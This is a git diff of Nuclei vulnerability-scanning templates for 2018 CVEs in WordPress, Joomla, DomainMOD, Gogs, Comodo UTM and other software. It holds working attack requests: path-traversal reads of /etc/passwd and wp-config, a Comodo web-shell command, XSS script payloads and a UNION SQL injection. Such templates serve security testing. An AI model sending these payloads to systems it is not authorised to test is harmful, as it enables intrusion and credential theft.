CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-16299 cwe-id: CWE-22 - tags: wordpress,cve2018,cve,lfi,plugin -requests: + epss-score: 0.02738 + epss-percentile: 0.89434 + cpe: cpe:2.3:a:localize_my_post_project:localize_my_post:1.0:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: localize_my_post_project + product: localize_my_post + framework: wordpress + tags: wordpress,lfi,plugin,wp,edb,packetstorm,cve,cve2018 + +http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 +# digest: 4b0a004830460221008f5e54c963b8c75a1ec9b79a1f32970d605e1cf2eeee6ae764e1f6f85b8d2077022100ac257303413a0e7bf756176b39be56daf44b7e6b2acb47934683dd8d2d08c268:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-16670.yaml b/poc/cve/CVE-2018-16670.yaml index b253aecfda..7bb42f0be1 100644 --- a/poc/cve/CVE-2018-16670.yaml +++ b/poc/cve/CVE-2018-16670.yaml @@ -1,20 +1,32 @@ id: CVE-2018-16670 info: - name: CirCarLife SCADA PLC Status - description: PLC status disclosure due to lack of authentication - reference: - - https://www.exploit-db.com/exploits/45384 + name: CirCarLife <4.3 - Improper Authentication author: geeknik severity: medium - tags: cve,cve2018,circarlife,scada,plc,iot,disclosure + description: CirCarLife before 4.3 is susceptible to improper authentication. A PLC status disclosure exists due to lack of authentication for /html/devstat.html. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations. + remediation: | + Upgrade CirCarLife to version 4.3 or higher to fix the improper authentication issue. + reference: + - https://www.exploit-db.com/exploits/45384 + - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life + - https://www.exploit-db.com/exploits/45384/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-16670 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 + cvss-score: 5.3 cve-id: CVE-2018-16670 cwe-id: CWE-287 + epss-score: 0.00169 + epss-percentile: 0.53818 + cpe: cpe:2.3:a:circontrol:circarlife_scada:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: circontrol + product: circarlife_scada + tags: scada,plc,iot,disclosure,edb,cve,cve2018,circarlife -requests: +http: - method: GET path: - "{{BaseURL}}/services/user/values.xml?var=STATUS" @@ -25,9 +37,11 @@ requests: part: header words: - "CirCarLife Scada" + - type: word part: body words: - "" - "Reader.STATUS" condition: and +# digest: 4b0a00483046022100aad857c270bbf4cffcd35daf0ac314938b36ffa2f9277948b129576da31e8dd4022100bee275cc0418e36d406efbc982465126f6cc582b393a35957d9f2c77a84db5dc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-17431.yaml b/poc/cve/CVE-2018-17431.yaml index a95adc99ce..43bc26ce6b 100644 --- a/poc/cve/CVE-2018-17431.yaml +++ b/poc/cve/CVE-2018-17431.yaml @@ -1,33 +1,21 @@ id: CVE-2018-17431 - info: name: Comodo Unified Threat Management Web Console - Remote Code Execution author: dwisiswant0 severity: critical description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 are susceptible to a web shell based remote code execution vulnerability. - remediation: | - Apply the latest security patches or updates provided by Comodo to fix this vulnerability. reference: - https://www.exploit-db.com/exploits/48825 - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276 - https://nvd.nist.gov/vuln/detail/CVE-2018-17431 - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437 - - https://drive.google.com/file/d/0BzFJhNQNHcoTbndsUmNjVWNGYWNJaWxYcWNyS2ZDajluTDFz/view classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-17431 cwe-id: CWE-287 - epss-score: 0.10458 - epss-percentile: 0.94426 - cpe: cpe:2.3:a:comodo:unified_threat_management_firewall:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: comodo - product: unified_threat_management_firewall - tags: cve2018,comodo,rce,edb,cve - -http: + tags: cve,cve2018,comodo,rce +requests: - raw: - | GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1 @@ -37,15 +25,14 @@ http: GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1 Host: {{Hostname}} Connection: close - matchers-condition: and matchers: - type: word - part: body words: - "Configuration has been altered" - + part: body - type: status status: - 200 -# digest: 490a0046304402201f1a49f2400315ab1ac93a3089241aa3426fb961fc7a4d15a7c15ffc2f48a9b30220025cb3006dd565ae3d0d11224175ebbfddeb3c50d1494791e88f281087a2bb41:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/13 diff --git a/poc/cve/CVE-2018-18323.yaml b/poc/cve/CVE-2018-18323.yaml index e3f75e8d84..fd41e56d1e 100644 --- a/poc/cve/CVE-2018-18323.yaml +++ b/poc/cve/CVE-2018-18323.yaml @@ -1,44 +1,28 @@ id: CVE-2018-18323 - info: - name: Centos Web Panel 0.9.8.480 - Local File Inclusion + name: Centos Web Panel 0.9.8.480 LFI author: 0x_Akoko severity: high - description: | - Centos Web Panel version 0.9.8.480 suffers from local file inclusion vulnerabilities. Other vulnerabilities including cross-site scripting and remote code execution are also known to impact this version. - remediation: | - Upgrade to a patched version of Centos Web Panel. + description: Centos Web Panel version 0.9.8.480 suffers from code execution, cross site scripting, and local file inclusion vulnerabilities. reference: - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html - http://centos-webpanel.com/ - - https://seccops.com/centos-web-panel-0-9-8-480-multiple-vulnerabilities/ - - https://nvd.nist.gov/vuln/detail/CVE-2018-18323 + - https://www.cvedetails.com/cve/CVE-2018-18323 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-18323 cwe-id: CWE-22 - epss-score: 0.97126 - epss-percentile: 0.99736 - cpe: cpe:2.3:a:control-webpanel:webpanel:0.9.8.480:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: control-webpanel - product: webpanel - tags: cve,cve2018,centos,lfi,packetstorm - -http: + tags: cve,cve2018,centos,lfi +requests: - method: GET path: - "{{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd" - matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - - type: status status: - 200 -# digest: 4a0a0047304502210088be48e0fc2d93508bd25d0d68b6b00826de5b6f6e1e7079124cc8e1b8e0fb1e02206deec6a8dc47fcb2b6ce37da1107f72973c50db769e9e741448c152f6d3eecce:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-18775.yaml b/poc/cve/CVE-2018-18775.yaml index a25916727e..59f22aa2cf 100644 --- a/poc/cve/CVE-2018-18775.yaml +++ b/poc/cve/CVE-2018-18775.yaml @@ -1,25 +1,48 @@ id: CVE-2018-18775 + info: + name: Microstrategy Web 7 - Cross-Site Scripting author: 0x_Akoko - description: Microstrategy Web, version 7, does not sufficiently encode user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the Login.asp Msg parameter - name: Cross Site Scripting in Microstrategy Web version 7 severity: medium - tags: microstrategy,xss - reference: https://www.exploit-db.com/exploits/45755 -requests: + description: Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter. + remediation: | + Apply the latest security patches or updates provided by Microstrategy to fix the XSS vulnerability in the Web 7 application. + reference: + - https://www.exploit-db.com/exploits/45755 + - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-18775 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-18775 + cwe-id: CWE-79 + epss-score: 0.00157 + epss-percentile: 0.52076 + cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: microstrategy + product: microstrategy_web + tags: cve2018,microstrategy,xss,edb,packetstorm,cve,intrusive + +http: - method: GET path: - - '{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C' + - "{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C" + matchers-condition: and matchers: - - type: status - status: - - 200 - type: word - words: - - "" part: body - - type: word words: - - "text/html" + - '">' + + - type: word part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 490a0046304402201e6315cab7b728c5a752e9010e7ec5c42b6b51d21456a2edb56067684359560802205e1911c56ed72b9a09b3fa1fc4d0670dc5d51bc5c07cd2e520f5e0fb4309640c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-18925.yaml b/poc/cve/CVE-2018-18925.yaml index f2aaa16416..007d213abd 100644 --- a/poc/cve/CVE-2018-18925.yaml +++ b/poc/cve/CVE-2018-18925.yaml @@ -1,31 +1,22 @@ id: CVE-2018-18925 - info: name: Gogs (Go Git Service) 0.11.66 - Remote Code Execution author: princechaddha severity: critical description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron. - remediation: This issue will be fixed by updating to the latest version of Gogs. reference: - https://www.anquanke.com/post/id/163575 - https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925 - https://nvd.nist.gov/vuln/detail/cve-2018-18925 - https://github.com/gogs/gogs/issues/5469 + remediation: This issue will be fixed by updating to the latest version of Gogs. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-18925 cwe-id: CWE-384 - epss-score: 0.09538 - epss-percentile: 0.94157 - cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: gogs - product: gogs - tags: gogs,lfi,rce,vulhub,cve,cve2018 - -http: + tags: cve,cve2018,gogs,lfi,rce +requests: - raw: - | GET / HTTP/1.1 @@ -35,9 +26,10 @@ http: GET / HTTP/1.1 Host: {{Hostname}} Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy; - + req-condition: true matchers: - type: dsl dsl: - 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "")' -# digest: 4a0a00473045022001ea676dd31a39fa52f3b873dc3f452d67551ce8c2b2e27b72b346f04aec01cd022100fcb0693e51d07f1348df8983a7cb5739a1785454988f71a67dc0021e42096de4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/13 diff --git a/poc/cve/CVE-2018-19753.yaml b/poc/cve/CVE-2018-19753.yaml index 2ca7cc5592..592a05b04f 100644 --- a/poc/cve/CVE-2018-19753.yaml +++ b/poc/cve/CVE-2018-19753.yaml @@ -6,6 +6,8 @@ info: severity: high description: | Tarantella Enterprise versions prior to 3.11 are susceptible to local file inclusion. + remediation: | + Upgrade Tarantella Enterprise to version 3.11 or higher to mitigate this vulnerability. reference: - https://packetstormsecurity.com/files/150541/Tarantella-Enterprise-Directory-Traversal.html - https://nvd.nist.gov/vuln/detail/CVE-2018-19753 @@ -16,16 +18,22 @@ info: cvss-score: 7.5 cve-id: CVE-2018-19753 cwe-id: CWE-22 - tags: cve,cve2018,tarantella,lfi + epss-score: 0.00942 + epss-percentile: 0.8133 + cpe: cpe:2.3:a:oracle:tarantella_enterprise:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: oracle + product: tarantella_enterprise + tags: packetstorm,seclists,cve,cve2018,tarantella,lfi -requests: +http: - method: GET path: - "{{BaseURL}}/tarantella/cgi-bin/secure/ttawlogin.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd" matchers-condition: and matchers: - - type: regex regex: - "root:[x*]:0:0" @@ -33,5 +41,4 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/06/13 +# digest: 4b0a00483046022100f957b64b0974aefe6ca239f5e8b23603753decc4ea9bfbb752c845c4489f29e5022100da9949656917b5c35c281f770688b71fe5eef90dca34596f14ba56e446d53bb6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-19892.yaml b/poc/cve/CVE-2018-19892.yaml index f971d68cdc..70ca1dc6b6 100644 --- a/poc/cve/CVE-2018-19892.yaml +++ b/poc/cve/CVE-2018-19892.yaml @@ -1,33 +1,22 @@ id: CVE-2018-19892 - info: name: DomainMOD 4.11.01 - Cross-Site Scripting author: arafatansari severity: medium description: | - DomainMOD 4.11.01 contains a cross-site scripting vulnerability via /domain//admin/dw/add-server.php DisplayName parameters. - remediation: | - Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability. + DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via /domain//admin/dw/add-server.php DisplayName parameters. reference: - https://www.exploit-db.com/exploits/45959 - https://github.com/domainmod/domainmod/issues/85 - - https://nvd.nist.gov/vuln/detail/CVE-2018-19892 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.8 cve-id: CVE-2018-19892 cwe-id: CWE-79 - epss-score: 0.00101 - epss-percentile: 0.41274 - cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* metadata: - verified: true - max-request: 3 - vendor: domainmod - product: domainmod - tags: cve2018,domainmod,xss,authenticated,edb,cve - -http: + verified: "true" + tags: cve,cve2018,domainmod,xss,authenticated +requests: - raw: - | POST / HTTP/1.1 @@ -44,23 +33,19 @@ http: - | GET /admin/dw/servers.php HTTP/1.1 Host: {{Hostname}} - - host-redirects: true + cookie-reuse: true + redirects: true max-redirects: 3 - matchers-condition: and matchers: - type: word part: body words: - '">' - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 490a0046304402201e8c6d119fd1c7baa698cca6099366df921bd5619bb390255ac44b5623ebfbd402200a6105a533fbcd815d48b365e53412eccaabb02e69ac4ec09462484cfccb85b9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-19914.yaml b/poc/cve/CVE-2018-19914.yaml index f74e59b810..3f0d92d795 100644 --- a/poc/cve/CVE-2018-19914.yaml +++ b/poc/cve/CVE-2018-19914.yaml @@ -1,22 +1,33 @@ id: CVE-2018-19914 + info: name: DomainMOD 4.11.01 - Cross-Site Scripting author: arafatansari severity: medium description: | - DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via assets/add/dns.php Profile Name or notes field. + DomainMOD 4.11.01 contains a cross-site scripting vulnerability via assets/add/dns.php Profile Name or notes field. + remediation: | + Upgrade to the latest version of DomainMOD or apply the necessary patches to fix the XSS vulnerability. reference: - https://www.exploit-db.com/exploits/46375/ - https://github.com/domainmod/domainmod/issues/87 + - https://nvd.nist.gov/vuln/detail/CVE-2018-19914 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.8 cve-id: CVE-2018-19914 cwe-id: CWE-79 + epss-score: 0.00153 + epss-percentile: 0.51562 + cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* metadata: - verified: "true" - tags: cve,cve2018,domainmod,xss,authenticated -requests: + verified: true + max-request: 3 + vendor: domainmod + product: domainmod + tags: cve2018,domainmod,xss,authenticated,edb,cve + +http: - raw: - | POST / HTTP/1.1 @@ -33,14 +44,14 @@ requests: - | GET /assets/dns.php HTTP/1.1 Host: {{Hostname}} - cookie-reuse: true - redirects: true + + host-redirects: true max-redirects: 2 - req-condition: true matchers: - type: dsl dsl: - 'status_code_3 == 200' - - 'contains(all_headers_3, "text/html")' + - 'contains(header_3, "text/html")' - 'contains(body_3, ">")' condition: and +# digest: 4b0a00483046022100a6494451f6960f4afd06ac9705e798426cc5d6fbb96f7f827a70e231ff3c0e4f022100fd0377ceddaef25ca893966ca6c9d163976a44a517efb964e1cfbfff05d954e2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-19915.yaml b/poc/cve/CVE-2018-19915.yaml index 7bcfa9d5e1..f397373f28 100644 --- a/poc/cve/CVE-2018-19915.yaml +++ b/poc/cve/CVE-2018-19915.yaml @@ -1,13 +1,10 @@ id: CVE-2018-19915 - info: - name: DomainMOD <=4.11.01 - Cross-Site Scripting + name: DomainMOD 4.11.01 - Cross-Site Scripting author: arafatansari severity: medium description: | - DomainMOD through version 4.11.01 is vulnerable to cross-site scripting via the assets/edit/host.php Web Host Name or Web Host URL field. - remediation: | - Upgrade to the latest version of DomainMOD (>=4.11.02) to mitigate this vulnerability. + DomainMOD through 4.11.01 has XSS via the assets/edit/host.php Web Host Name or Web Host URL field. reference: - https://github.com/domainmod/domainmod/issues/87 - https://www.exploit-db.com/exploits/46376/ @@ -17,17 +14,10 @@ info: cvss-score: 4.8 cve-id: CVE-2018-19915 cwe-id: CWE-79 - epss-score: 0.00153 - epss-percentile: 0.51562 - cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* metadata: verified: true - max-request: 3 - vendor: domainmod - product: domainmod - tags: domainmod,xss,authenticated,edb,cve,cve2018 - -http: + tags: cve,cve2018,domainmod,xss,authenticated +requests: - raw: - | POST / HTTP/1.1 @@ -44,14 +34,14 @@ http: - | GET /assets/hosting.php HTTP/1.1 Host: {{Hostname}} - - host-redirects: true + cookie-reuse: true + redirects: true max-redirects: 2 + req-condition: true matchers: - type: dsl dsl: - 'status_code_3 == 200' - - 'contains(header_3, "text/html")' + - 'contains(all_headers_3, "text/html")' - 'contains(body_3, ">")' condition: and -# digest: 4a0a0047304502205c4ce00497813623b665547781977d5adea3d008b7924c202324c3f9e051d13d022100df1524c6d1b5cbc0b3cd4fa0e6b2285e78d9674548db40aa4213668938f88913:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-20009.yaml b/poc/cve/CVE-2018-20009.yaml index e6a0801a38..57d8d5c00f 100644 --- a/poc/cve/CVE-2018-20009.yaml +++ b/poc/cve/CVE-2018-20009.yaml @@ -1,23 +1,33 @@ id: CVE-2018-20009 + info: name: DomainMOD 4.11.01 - Cross-Site Scripting author: arafatansari severity: medium description: | - DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via /assets/add/ssl-provider.php ssl-provider-name, ssl-provider's-url parameters. + DomainMOD through version 4.11.01 is vulnerable to cross-site scripting via the /assets/add/ssl-provider.php ssl-provider-name and ssl-provider's-url parameters. + remediation: | + Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability. reference: - https://github.com/domainmod/domainmod/issues/88 - - https://nvd.nist.gov/vuln/detail/CVE-2018-20009 - https://www.exploit-db.com/exploits/46372/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-20009 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.8 cve-id: CVE-2018-20009 cwe-id: CWE-79 + epss-score: 0.00153 + epss-percentile: 0.51562 + cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* metadata: verified: true - tags: cve,cve2018,domainmod,xss,authenticated -requests: + max-request: 3 + vendor: domainmod + product: domainmod + tags: domainmod,xss,authenticated,edb,cve,cve2018 + +http: - raw: - | POST / HTTP/1.1 @@ -34,14 +44,14 @@ requests: - | GET /assets/ssl-providers.php HTTP/1.1 Host: {{Hostname}} - cookie-reuse: true - redirects: true + + host-redirects: true max-redirects: 2 - req-condition: true matchers: - type: dsl dsl: - 'status_code_3 == 200' - - 'contains(all_headers_3, "text/html")' + - 'contains(header_3, "text/html")' - 'contains(body_3, ">")' condition: and +# digest: 4b0a00483046022100d6f1bd1758881cef203a95b25769cb81e4947df19b20be6845d2f4e03694132f022100ca763b28a5dac552dfcb62092dc68da12df9173eb6155448feecf3841b190c38:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-20985.yaml b/poc/cve/CVE-2018-20985.yaml index c641ac61ca..abd9853113 100644 --- a/poc/cve/CVE-2018-20985.yaml +++ b/poc/cve/CVE-2018-20985.yaml @@ -1,35 +1,49 @@ id: CVE-2018-20985 + info: name: WordPress Payeezy Pay <=2.97 - Local File Inclusion author: daffainfo severity: critical description: WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected. + remediation: | + Update to the latest version of WordPress Payeezy Pay plugin. reference: - https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/ - https://wordpress.org/plugins/wp-payeezy-pay/#developers - - https://www.cvedetails.com/cve/CVE-2018-20985/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-20985 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-20985 cwe-id: CWE-20 + epss-score: 0.01138 + epss-percentile: 0.83095 + cpe: cpe:2.3:a:payeezy:wp_payeezy_pay:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: payeezy + product: wp_payeezy_pay + framework: wordpress tags: cve,cve2018,wordpress,lfi,plugin -requests: + +http: - method: POST path: - "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php" + body: "x_login=../../../wp-config" + matchers-condition: and matchers: - type: word + part: body words: - "The base configuration for WordPress" - "define( 'DB_NAME'," - "define( 'DB_PASSWORD'," condition: and - part: body + - type: status status: - 200 - -# Enhanced by mp on 2022/05/13 +# digest: 4a0a00473045022100ad5923e4d293095c47baad33b7d259a0d3079206362281205d657f352d4a11de02207be330f31dfdbbc1ff13ab9d93ab64e32adb517d99f9b65a62ab7e4c99a319d5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-6008.yaml b/poc/cve/CVE-2018-6008.yaml index 149bee1fb6..1e302599a3 100644 --- a/poc/cve/CVE-2018-6008.yaml +++ b/poc/cve/CVE-2018-6008.yaml @@ -5,10 +5,9 @@ info: author: daffainfo severity: high description: Joomla! Jtag Members Directory 5.3.7 is vulnerable to local file inclusion via the download_file parameter. - remediation: | - Update Joomla! Jtag Members Directory to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/43913 + - https://www.cvedetails.com/cve/CVE-2018-6008 - https://packetstormsecurity.com/files/146137/Joomla-Jtag-Members-Directory-5.3.7-Arbitrary-File-Download.html - https://nvd.nist.gov/vuln/detail/CVE-2018-6008 classification: @@ -16,23 +15,16 @@ info: cvss-score: 7.5 cve-id: CVE-2018-6008 cwe-id: CWE-200 - epss-score: 0.3768 - epss-percentile: 0.96837 - cpe: cpe:2.3:a:joomlatag:jtag_members_directory:5.3.7:*:*:*:*:joomla\!:*:* - metadata: - max-request: 1 - vendor: joomlatag - product: jtag_members_directory - framework: joomla\! - tags: cve,cve2018,joomla,lfi,edb,packetstorm + tags: cve,cve2018,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd" matchers-condition: and matchers: + - type: regex regex: - "root:.*:0:0:" @@ -41,4 +33,4 @@ http: status: - 200 -# digest: 4a0a004730450220520e4c98bcf1f63e20b1f860bc6682887d2a900026825a680bffbaac6ecdb7e8022100e0cacd270cb2c119c285f02df0fbe0b52875b90093b5b53befe56fcc0ac1e34d:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/07/08 diff --git a/poc/cve/CVE-2018-6605.yaml b/poc/cve/CVE-2018-6605.yaml new file mode 100644 index 0000000000..e78d4b6ca4 --- /dev/null +++ b/poc/cve/CVE-2018-6605.yaml @@ -0,0 +1,52 @@ +id: CVE-2018-6605 + +info: + name: Joomla! Component Zh BaiduMap 3.0.0.1 - SQL Injection + author: DhiyaneshDk + severity: critical + description: | + SQL Injection exists in the Zh BaiduMap 3.0.0.1 component for Joomla! via the id parameter in a getPlacemarkDetails, getPlacemarkHoverText, getPathHoverText, or getPathDetails request. + reference: + - https://github.com/ARPSyndicate/cvemon + - https://github.com/C0reL0ader/EaST/blob/master/exploits/efa_joomla_zh_baidumap_sqli.py + - https://www.exploit-db.com/exploits/43974 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-6605 + cwe-id: CWE-89 + epss-score: 0.00282 + epss-percentile: 0.67968 + cpe: cpe:2.3:a:zh_baidumap_project:zh_baidumap:3.0.0.1:*:*:*:*:joomla\!:*:* + metadata: + max-request: 1 + vendor: zh_baidumap_project + product: zh_baidumap + framework: joomla\! + fofa-query: app="Joomla!-网站安装" + tags: cve,cve2018,joomla,sqli + +variables: + num: "{{rand_int(2000000000, 2100000000)}}" + +http: + - method: POST + path: + - "{{BaseURL}}/index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails" + + headers: + Content-Type: application/x-www-form-urlencoded + body: "id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+" + + matchers-condition: and + matchers: + - type: word + words: + - "{{md5(num)}}" + - "dataexists" + part: body + + - type: status + status: + - 200 +# digest: 4a0a00473045022079e33c0fd8732cb91241ed74b8390f59910f590cde26d8a6f203a2d6144e73f6022100b5780479074bab7349b98bd3abfdd4154417dba8a0dfa08470b549a28d182a3d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-7251.yaml b/poc/cve/CVE-2018-7251.yaml index 17ebdb1a9e..b028397308 100644 --- a/poc/cve/CVE-2018-7251.yaml +++ b/poc/cve/CVE-2018-7251.yaml @@ -1,27 +1,38 @@ id: CVE-2018-7251 info: - name: AnchorCMS Error Log Exposure + name: Anchor CMS 0.12.3 - Error Log Exposure author: pdteam severity: critical - tags: cve,cve2018,anchorcms,logs,error - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-7251 - cwe-id: CWE-200 - description: "An issue was discovered in config/error.php in Anchor 0.12.3. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error (such as \"Too many connections\") has occurred." + description: | + Anchor CMS 0.12.3 is susceptible to an error log exposure vulnerability due to an issue in config/error.php. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error (such as "Too many connections") has occurred. + remediation: | + Upgrade to the latest version of Anchor CMS or apply the necessary patches to fix the error log exposure vulnerability. reference: - https://github.com/anchorcms/anchor-cms/issues/1247 - - http://www.andmp.com/2018/02/advisory-assigned-CVE-2018-7251-in-anchorcms.html - https://twitter.com/finnwea/status/965279233030393856 - http://packetstormsecurity.com/files/154723/Anchor-CMS-0.12.3a-Information-Disclosure.html - https://github.com/anchorcms/anchor-cms/releases/tag/0.12.7 + - https://nvd.nist.gov/vuln/detail/CVE-2018-7251 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-7251 + cwe-id: CWE-200 + epss-score: 0.06473 + epss-percentile: 0.92967 + cpe: cpe:2.3:a:anchorcms:anchor:0.12.3:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: anchorcms + product: anchor + tags: cve,cve2018,anchorcms,logs,error,packetstorm -requests: +http: - method: GET path: - '{{BaseURL}}/anchor/errors.log' + matchers: - type: word words: @@ -29,3 +40,4 @@ requests: - '"message":' - '"trace":[' condition: and +# digest: 4b0a00483046022100dadbd37e825fce9607c3b308832c2ce7fa5055e72fa42d1d30039519713001e2022100df39665f3d0168e3250ddba29c5a8c3231fddac4a0bac13cc0fd5fc8c963779e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-7314.yaml b/poc/cve/CVE-2018-7314.yaml new file mode 100644 index 0000000000..51ebd26670 --- /dev/null +++ b/poc/cve/CVE-2018-7314.yaml @@ -0,0 +1,43 @@ +id: 